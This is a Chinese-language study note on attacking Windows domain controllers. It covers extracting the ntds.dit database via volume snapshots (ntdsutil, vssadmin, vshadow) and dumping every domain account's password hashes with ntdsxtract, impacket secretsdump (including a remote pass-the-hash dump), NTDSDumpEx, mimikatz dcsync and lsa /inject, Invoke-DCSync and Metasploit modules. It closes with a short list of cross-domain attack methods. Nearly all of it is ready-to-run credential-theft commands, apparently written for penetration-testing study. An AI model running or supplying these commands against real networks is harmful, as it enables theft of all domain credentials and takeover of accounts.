内网安全学习笔记-Ⅵ:域控安全及跨域攻击

域控安全

一、提取ntds.dit

利用ntdsutil.exe提取

域环境默认安装,支持系统:Server 2003、2008、2012

1
2
3
4
5
6
7
8
9
10
11
12
#  创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 查询快照
ntdsutil snapshot "List All" quit quit
# 查询已挂载快照
ntdsutil snapshot "List Mounted" quit quit
# 挂载快照
ntdsutil snapshot "mount GUID" quit quit
# 卸载快照
ntdsutil snapshot "unmount GUID" quit quit
# 删除快照
ntdsutil snapshot "delete GUID" quit quit

image-20210220174358168

利用vssadmin提取

域环境默认安装,支持系统:Server 2008、2012

1
2
3
4
5
6
# 查询当前系统的快照
vssadmin list shadows
# 创建c盘的快照
vssadmin create shadow /for=c:
# 删除快照
vssadmin delete shadows /for=c: /quiet

image-20210220175513824

利用vssown.vbs提取

系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具

64位系统需要使用64位的vshadow.exe,不同系统可供使用的vshadow.exe下载地址:http://edgylogic.com/blog/vshadow-exe-versions/。

1
2
3
4
5
6
7
# 查询当前系统的快照
vshadow.exe -q
# 创建快照,-p persistent,备份操作或是重启系统不会删除;-nw no writers,用来提高创建速度;C: 对应c盘
vshadow.exe -p -nw C:
# 删除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId

二、导出ntds.dit的域账号及域散列值

使用esedbexport恢复ntds.dit并用ntdsxtract导出散列值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 恢复ntds.dit
# kali安装
wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar
apt-get install autoconf automake autopoint libtool pkgconfig
./configure
make
sudo make install
sudo 1dconfig
# 恢复
esedbexport -m tables ntds.dit

# 导出散列值
# 安装ntdsxtract
git clone https://github.com/csababarta/ntdsxtract
python setup.py build && python setup.py install
# 将导出的ntds.dit.export 文件夹中的datatable.3和link_table.5和system.hive文件一并放入ntdsxtract文件夹中并执行命令,执行完毕会将散列值保存在all_user
python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM -–passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
# 执行以下命令,以通过分析ntds.dit 导出域内计算机信息,域内所有的计算机信息被导出到csv文件中。
python dscomputers.py datatable.3 computer_output --csvoutfile all_computers.csv

使用impacket工具包导出散列值

1
2
3
4
# 导出散列值
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL
# impacket 还可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit 并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 -just-dc PAYLOAD/administrator\@192.168.190.130

使用NTDSDumpex.exe导出域账号和域散列值

NTDSDumpex.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

1
2
# 将ntds.dit、NTDSDumpex.exe、system.hive 放在同一目录下,执行命令即可导出域账号和散列值。
NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt

利用dcsync获取域散列值

有两种方法,mimikatz包含了dcsync,另外就是Invoke-DCSync.ps1脚本

mimikatz:

1
2
3
4
5
6
7
8
# 注意:必须使用域管理员权限运行mimikatz才可以
# 导出域内所有用户名及散列值
lsadump::dcsync /domain:pentest.com /all /csv
# 导出指定用户散列值
lsadump::dcsync /domain:pentest.com /user:Dm
# 在域控运行mimikatz,通过lsass.exe对散列值进行dump操作
privilege::debug
lsadump::lsa /inject

Invoke-DCSync.ps1脚本:

下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

1
Invoke-DCSync -PWDumpFormat

使用MSF获取域散列值

psexec_ntdsgrab模块

1
2
3
use auxiliary/admin/smb/psexec_ntdsgrab
set RHOST、SMBDomain、SMBUser、SMBPass
exploit

配合meterpreter会话导出散列值:前提获取了meterpreter会话

1
2
3
use /windows/gather/credentials/domain_hashdump
set session id
exploit

其它方法

另外还可以使用vshadow.exe和QuarksPwDump.exe导出

利用域信任关系的跨域攻击

跨域攻击通常有以下几种方法:

  1. 常规渗透方法(如Web漏洞)
  2. 利用已知域散列值进行哈希传递PTH或票据传递PTT攻击(如相同的域控管理员密码)
  3. 利用域信任关系进行跨域攻击

对第三种方法的学习,可参考https://www.anquanke.com/post/id/152382 https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/。